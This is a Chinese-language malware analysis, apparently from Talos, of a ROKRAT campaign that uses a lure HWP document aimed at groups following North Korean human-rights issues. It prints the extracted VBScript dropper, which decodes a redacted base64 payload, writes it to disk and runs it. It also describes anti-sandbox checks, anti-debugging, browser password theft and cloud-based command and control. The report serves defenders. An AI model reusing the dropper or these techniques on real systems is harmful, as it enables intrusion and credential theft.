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执行摘要 
 
今年早些时候，Talos 团队发布了两篇文章，谈到了一些专门针对韩国的威胁。第

一篇文章讲到攻击者使用恶意 HWP 文档作为攻击手段，利用该文档植入下载程序，

从而在若干已感染的网站上检索恶意负载。这些已感染的网站中包括一个政府网站。

我们将该病毒命名为“Evil New Years”（邪恶的新年）。第二篇文章是有关 ROKRAT 
恶意软件的分析和研究。 
 
本月，Talos 团队发现了一个新的 ROKRAT 版本。此版本包含与上述两篇文章相

关的技术元素。这个新样本中包括今年早些时候发布的两篇文章中提到的代码： 

• 它包含的侦测代码与之前的病毒文件相同； 
• 它采用与“邪恶的新年”样本类似的 PDB 模式； 
• 它所包含的云功能与 ROKRAT 相同，而且复制粘贴方法也与 ROKRAT 相似； 
• 它使用云平台进行命令与控制操作，但所用云平台与之前不完全相同，此版

本使用的是 pCloud、Box、Dropbox 和 Yandex。 
 
 
 
我们还发现此新版本的 ROKRAT 使用与 Freenki 相同的代码。Freenki 是 
FreeMilk 攻击活动中使用的下载程序。  
 
不出所料，此攻击活动也是用恶意 HWP 文档发起攻击。文档的作者宣称自己是一

名律师，代表“朝鲜人权与朝鲜半岛重新统一公民联盟”。文档中提到了该组织于 
11 月 1 日在首尔召开的一次会议。通过恶意文档的内容可以判断，此攻击活动的

目标是关注朝鲜局势的利益相关者。此恶意文档会植入并执行新版本的 ROKRAT。 
 
 

HWP 恶意文档 
 
与我们之前介绍的 ROKRAT 攻击活动一样，攻击者使用的感染媒介是一种恶意 
HWP 文档。HWP 文档是使用 Hangul 文字处理器创建的。Hangul 是 Hancom 
开发的一款软件，对韩国用户而言，它是常用的 Microsoft Office 替代办公软件。

以下是该恶意文档的屏幕截图： 

https://www.twitter.com/SecurityBeard/
https://www.twitter.com/r00tbsd
http://blog.talosintelligence.com/2017/02/korean-maldoc.html
http://blog.talosintelligence.com/2017/02/korean-maldoc.html
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html


 
 

该恶意文档中提到了“朝鲜人权和统一联盟”。我们于 2017 年 11 月首次发现此

攻击活动。该文档的作者宣称自己是一名律师，代表올인통 

（올바른북한인권법과통일을위한시민모임）团体。 
 
文档的目的是安排一次会议来讨论与 2016 年韩国通过的《朝鲜人权法》和“法律

颁布”相关的事宜。 
 
会议的日期定于 2017 年 11 月 1 日，而该诱骗性文档是要发送给“올인통”的 
利益相关者，假装邀请他们参加讨论以汲取意见，让更多的人关注他们在 2017 年 
11 月以前开展的活动。 
 

https://2.bp.blogspot.com/-oZY_XkhLCak/WhyBjcvv1DI/AAAAAAAAAMY/EtxUBxnlW0I7Zw5dvU4cVLCmMy3vVYzEwCLcBGAs/s1600/image7.png


HWP 文件包含一个名为 BIN0001.OLE 的 OLE 对象。经过提取和解压缩 (zlib)，
我们获得了以下脚本： 
 
const strEncode = 

"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAA

AAAAAA=" 

DIM outFile 

DIM base64Decoded 

DIM shell_obj 

SET shell_obj = CreateObject("WScript.Shell") 

DIM fso 

SET fso = CreateObject("Scripting.FileSystemObject") 

outFile = "c:\ProgramData\HncModuleUpdate.exe" 

base64Decoded = decodeBase64(strEncode) 

IF NOT(fso.FileExists(outFile)) then 

writeBytes outFile, base64Decoded 

shell_obj.run outFile 

END IF 

WScript.Quit() 

private function decodeBase64(base64) 

DIM DM, EL 

SET DM = CreateObject("Microsoft.XMLDOM") 

SET EL = DM.createElement("tmp") 

EL.DataType = "bin.base64" 

EL.Text = base64 

decodeBase64 = EL.NodeTypedValue 

end function 

private Sub writeBytes(file, bytes) 

DIM binaryStream 

SET binaryStream = CreateObject("ADODB.Stream") 

binaryStream.Type = 1 

binaryStream.Open 

binaryStream.Write bytes 

binaryStream.SaveToFile file, 1 

End Sub 

 

 
运行此脚本的目的是使用 base64 算法对 strEncode 变量的内容进行解码。解码

的数据存储在 c:\ProgramData\HncModuleUpdate.exe 文件中，并会自动执行。该

二进制文件就是 ROKRAT 植入程序。“HncModuleUpdate”这一精心设计的文件

名可能会误导用户，让用户以为这是一个 Hancom 软件。 



第 1 阶段：植入程序 
 
植入程序的目的是为了提取名为 SBS 的资源。该资源包含一段恶意 shellcode 代
码。此外，植入程序会执行一个新的 cmd.exe 进程，注入并执行所提取的资源。

代码注入由 VirtualAlloc()、WriteProcessMemory() 和 CreateRemoteThread() API 
执行： 
 

 
 
Shellcode 代码被执行后，将解码一个 PE 文件，然后将其加载到 cmd.exe 的内

存中，最后执行它。此负载是 ROKRAT 病毒的新变体。 
 

https://4.bp.blogspot.com/-UK3O08XFp2k/WhyBximnWLI/AAAAAAAAAMc/s5N3fKQB__ks4xpcTOH6GtWfOMVzQS_TwCLcBGAs/s1600/image6.png


此外，我们所分析的植入程序中，有一个会向用户显示以下图片： 

 

 
图片中的人物与朝鲜战争以及“独立运动”中的独立军相关。左上角的图片出自维

基百科。左列中间的图片出自此博客。左下角的图片出自此新闻网站。诱饵图片似

乎是一组公开图片。 
 
 

第 2 阶段：ROKRAT 

与“邪恶的新年”恶意文档的相似之处 
 
ROKRAT 的这个变体包含与“邪恶的新年”下载程序类似的代码。侦测阶段收集的

信息是相似的。此恶意软件使用以下注册表项来获取计算机类型：

HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData。“系统制

造商”值可用于识别计算机类型。以下是“邪恶的新年”下载程序的图形流： 

https://ko.wikipedia.org/wiki/%EB%B0%B1%EC%84%A0%EC%97%BD
https://ko.wikipedia.org/wiki/%EB%B0%B1%EC%84%A0%EC%97%BD
http://m.blog.daum.net/_blog/_m/articleView.do?blogid=0UCYA&articleno=1545
http://m.ohmynews.com/NWS_Web/Mobile/at_pg.aspx?CNTN_CD=A0000939170#cb
https://2.bp.blogspot.com/-UdRh6pJR0FU/WhyB6um-i6I/AAAAAAAAAMg/Rujz_rpXM8AIMWxHayfmA7v0sdKxbxYawCLcBGAs/s1600/image20.png


 
 
ROKRAT 变体的图形流： 

 
 

https://4.bp.blogspot.com/-ThSGoJ2fiL8/WhyCFM6M3SI/AAAAAAAAAMo/kS5m9vVHIhUAhkMPEhb-YiPH5-WISQ0hgCLcBGAs/s1600/image10.png
https://2.bp.blogspot.com/-sshO1piH2Z4/WhyCKaO_YUI/AAAAAAAAAMs/T-ioks5MAWQP9yqvUiBKHLO88h3IIGBQgCLcBGAs/s1600/image13.png


两个图形流的相似度达到了 99%。此外，此恶意软件还使用以下字符串来描述计算

机类型： 

 
 
代码似乎是根据此论坛贴文编写的，该贴文描述了 Win32 API 的用法。源代码只

考虑了以下类型： 
 
default: lpString = "(Other)";  break; 

case 0x02: lpString = "(Unknown)";  break; 

case 0x03: lpString = "(Desktop)";  break; 

case 0x04: lpString = "(Low Profile Desktop)"; break; 

case 0x06: lpString = "(Mini Tower)";  break; 

case 0x07: lpString = "(Tower)";  break; 

case 0x08: lpString = "(Portable)";  break; 

case 0x09: lpString = "(Laptop)";  break; 

case 0x0A: lpString = "(Notebook)";  break; 

case 0x0E: lpString = "(Sub Notebook)"; break; 

 

http://www.rohitab.com/discuss/topic/35915-win32-api-to-get-system-information/?p=10075283
https://4.bp.blogspot.com/-P3vttCd3--8/WhyCQUU2stI/AAAAAAAAAMw/yqLRBtpi1DUNwbOJ8WiPWn9nC3rtishggCLcBGAs/s1600/image8.png


另请注意 ROKRAT 编写者使用的 ()。我们从 SMBIOS 文档中可以看到某些值被

忽略了： 

 
 
该论坛贴文中也省略了缺失的值。 
 
另一个相似之处是 PDB 路径。“邪恶的新年”样本包含以下 PDB 路径：  

• e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb 

这个新的 ROKRAT 变体包含以下 PDB 路径： 

• d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb 

显然，这两种病毒文件采用类似的模式。 

http://www.dmtf.org/sites/default/files/standards/documents/DSP0134_2.7.0.pdf
https://2.bp.blogspot.com/-0Ere0jsIaBM/WhyCWDThHsI/AAAAAAAAAM0/hGb9Yd4MiZ85bo8q1mlGuZ8VzRrFI690wCLcBGAs/s1600/image19.png


防沙盒技术 
 
此 ROKRAT 变体采用了一些防沙盒技术。它通过检查是否加载了以下库来防止沙

盒检测。 

• SbieDll.dll（沙盒库） 
• Dbghelp.dll（微软调试工具） 
• Api_log.dll（威胁分析程序/GFI 沙盒） 
• Dir_watch.dll（威胁分析程序/GFI 沙盒） 
 

 

 

https://3.bp.blogspot.com/-tMpcUMOjVY4/WhyCeLjiTtI/AAAAAAAAAM4/55qQDK6rByglGRQeSmTpw6kLM3ksCkJ9QCLcBGAs/s1600/image4.png


反调试 
 
此 ROKRAT 版本还采用了一些反调试技术。例如，它使用以下 NOP 技术来执行

反调试： 
 

 
 
nop dword ptr [eax+eax+00h] 是一个五字节的 NOP: 0x0F1F440000。但是，

Immunity Debugger 未能正确支持此操作码，并且将此代码部分替换为“???”（截

图中用红色显示的部分）： 
 

 

https://2.bp.blogspot.com/--2thdwNFFWk/WhyCxluop1I/AAAAAAAAANA/ZvScFYWEfmEX8V0XKU8Ab3e6RR9Nl3vFACLcBGAs/s1600/image5.png
https://1.bp.blogspot.com/-FOQkjTQlNvA/WhyC3zsnVTI/AAAAAAAAANE/WmpI7gwqSBM75SG_ls-3cHjVzcKC50JTgCLcBGAs/s1600/image2.png


截图功能 
 
两个 ROKRAT 版本都执行了截图。请注意观察这两个版本之间的相似之处，非常

有意思。尤其是所保存截图的文件名。以下是四月份发布的 ROKRAT 版本的代码： 
 

 
 

https://2.bp.blogspot.com/-9U3juJSttOw/WhyC_xXCS7I/AAAAAAAAANI/QFDm3a7rfxQcmAM_ly8YHcSBuD4WW6FegCLcBGAs/s1600/image17.png


以下是 11 月发布版本的代码： 
 

 
 
两个版本的模式完全相同：%s%04X%04X.tmp。两个 %04X 是随机值。%s 包含

一个临时路径（通过 GetTempPath() 获取的路径）。在这两个样本中，字符串长度

都是 0x12C (300)。这部分显然是通过复制粘贴生成的。 
 

https://1.bp.blogspot.com/--n6yXqONkEs/WhyDFe5MlnI/AAAAAAAAANM/3XsNWR3OdBUI3VK6FQLIhAGsopYx4WT5ACLcBGAs/s1600/image11.png


浏览器密码窃取程序 
 
在 11 月发布的 ROKRAT 样本中，有一个样本经分析发现包含浏览器窃取功能。

该恶意软件能够从 Internet Explorer、Chrome 和 Firefox 中提取存储的密码。对

于 Chrome 和 Firefox 而言，该恶意软件会对包含 URL、用户名和密码的 sqlite 
数据库进行查询： 
 

 
 

https://2.bp.blogspot.com/-1c4E_cI5198/WhyDL5Xq05I/AAAAAAAAANQ/pkyAlBQDvAgq3n9AX1XpGuRd8uLEQhbVACLcBGAs/s1600/image3.png


此外，ROKRAT 还支持 Microsoft 保管库机制。保管库是在 Windows 7 中实施的，

包含了 Internet Explorer 的任何敏感数据（例如凭证）。以下是保管库 API 的初始

化过程： 
 

 
 
ROKRAT 实施主要基于以下项目。对比以前的样本/版本，ROKRAT 的攻击策略发

生了改变。这一次，攻击者专门窃取可用于实现进一步感染的信息，甚至窃取潜在

个人账户的信息。ROKRAT 攻击者使用的方法也不寻常，他们把整个 SQLite 库
嵌入到可执行文件中，从而使 SQLite 能够尝试浏览 Firefox 和 Google Chrome。 
 

https://www.codeproject.com/Articles/1167943/The-Secrets-of-Internet-Explorer-Credentials
https://2.bp.blogspot.com/-kgM45XXgNKw/WhyDSVHJD5I/AAAAAAAAANY/y18ZaMeY3XAiJJt0c2qUT88YUc-HQfPtACLcBGAs/s1600/image14.png


在调查过程中，我们发现浏览器密码窃取程序代码与第 42 单元所描述的 FreeMilk 
攻击活动中使用的代码完全相同。在本文中，作者已经注意到 FreeMilk 和 
ROKRAT 的命令与控制基础设施存在重合。此外，我们还发现这两个样本之间存在

一些代码重合： 
 

 
 
左侧是 ROKRAT 样本，右侧是 FreeMilk 样本。我们可以注意到，除了代码之外，

攻击者连“IE Registery”等拼写错误也复制粘贴了过去。 
 

https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
https://1.bp.blogspot.com/-wgeOLIL7OBQ/WhyDX-7egxI/AAAAAAAAANc/bj86udF7beAhD0Q3kWPDDLsJPNjWn-FBwCLcBGAs/s1600/image12.png


用于命令与控制的云平台 
 
最后，此 ROKRAT 版本使用云平台的方式与我们之前的分析完全相同。这一次，

攻击者没有使用社交网络平台，而是采用了以下不同的云提供商： 

• PCLOUD 

 
 

https://3.bp.blogspot.com/-PrgljjxiAFo/WhyEcoSdFdI/AAAAAAAAAN4/bdK6iwGJ8moRLm9NDzv_5CVZx82QlV0NQCLcBGAs/s1600/image18.png


• BOX 

 

 
• DROPBOX 

 

https://1.bp.blogspot.com/-mEPlwuN1nzk/WhyEywpiFYI/AAAAAAAAAOA/WJFSGK8Ylp8IQE6Vru-WMQWd57IGHsBkwCLcBGAs/s1600/image15.png
https://3.bp.blogspot.com/-DFU-dyBrdNg/WhyFAJdvf6I/AAAAAAAAAOM/oP6_ri4qfBQZa3-1tuSvysODAQyRZT73gCLcBGAs/s1600/image9.png


• YANDEX 

 
 

结论 
 
此攻击活动表明 ROKRAT 背后的攻击者仍处于活跃状态。基于 PDB，它可能是

此恶意软件的第 13 个版本。此攻击者决定只使用合法的云平台，但与之前的版本

相比，也进行了一些更改。从攻击者的角度来看，这是一个不错的选择，因为在默

认情况下，这些平台的数据流都会使用 HTTPS 进行加密，从而让人难以在平台的

合法流量中发现恶意流。我们还可以确定，该攻击者喜欢使用本文中提到的各种存

储库的现有代码。在互联网上，GitHub、代码项目和其他公共论坛等都有提供这些

代码。 
 
虽然 ROKRAT 的编写者主要是复制粘贴了 FreeMilk 的一些源代码，但是我们仍

然坚信，该编写者就是 FreeMilk 鱼叉式网络钓鱼活动的幕后黑手，或者与其幕后

黑手存在合作关系。ROKRAT 采用了与 FreeMilk 攻击活动中所用 Freenki 下载

程序相同的代码，这也进一步证实了上述观点。 
 
此外，攻击者一直关注的是相同的目标模式，诱饵文档也都提及的是与韩国和朝鲜

地缘政治局势紧密相关的要素。一般来说，这些文档都提到了韩国统一部或朝鲜公

民的情况。这些文档中经常包含关于现实中召开的会议或大会的准确信息，展现出

了对朝鲜和韩国时事的深刻了解。 
 
以上所有这些信息都有助于我们了解攻击所针对的系统的概况以及攻击者的利益所在。 
 
 

https://4.bp.blogspot.com/-obpjJED7PA8/WhyFL04Jk0I/AAAAAAAAAOQ/5c1siYoQcdAt8UgR9YIuTXiawtZlN1DhACLcBGAs/s1600/image16.png


防护 
 
思科客户可通过其他方式检测并阻止此威胁，包括： 
 

 
 

高级恶意软件防护 (AMP) 解决方案可以有效防止执行威胁发起者使用的恶意软件。 
 
CWS 或 WSA Web 扫描功能可以阻止访问恶意网站，并检测这些攻击中所用的恶

意软件。 
 
邮件安全设备可以拦截威胁发起者在攻击活动中发出的恶意邮件。 
 
网络安全设备（例如 NGFW、NGIPS 和 Meraki MX）可以检测与此威胁相关的恶

意活动。 
 
AMP Threat Grid 可帮助识别恶意二进制文件，使所有思科安全产品都有内置保护

措施。 
 
Umbrella，我们的安全互联网网关 (SIG)，可阻止用户连接恶意域、IP 和 URL（无

论用户是否位于公司网络上）。 
 
开源 Snort 用户规则集客户可以在 Snort.org 上下载出售的最新规则包，保持最新

状态。 
 
 

https://www.cisco.com/c/en/us/products/security/advanced-malware-protection
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
https://www.snort.org/products
https://3.bp.blogspot.com/-h3Ubgz2tpKo/WhyDpf-abzI/AAAAAAAAANk/QXJs9157NFcro7ZHWf36KsfFiQ2yjgazgCLcBGAs/s1600/image1.png


IOCS 
 
路径：c:\ProgramData\HncModuleUpdate.exe 
 
恶意文档：

171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824 
植入程序 #1：
a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037 
植入程序 #2：
eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14 
植入程序 #3：
9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f 
ROKRAT：
b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e 
Freenki：
99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5 
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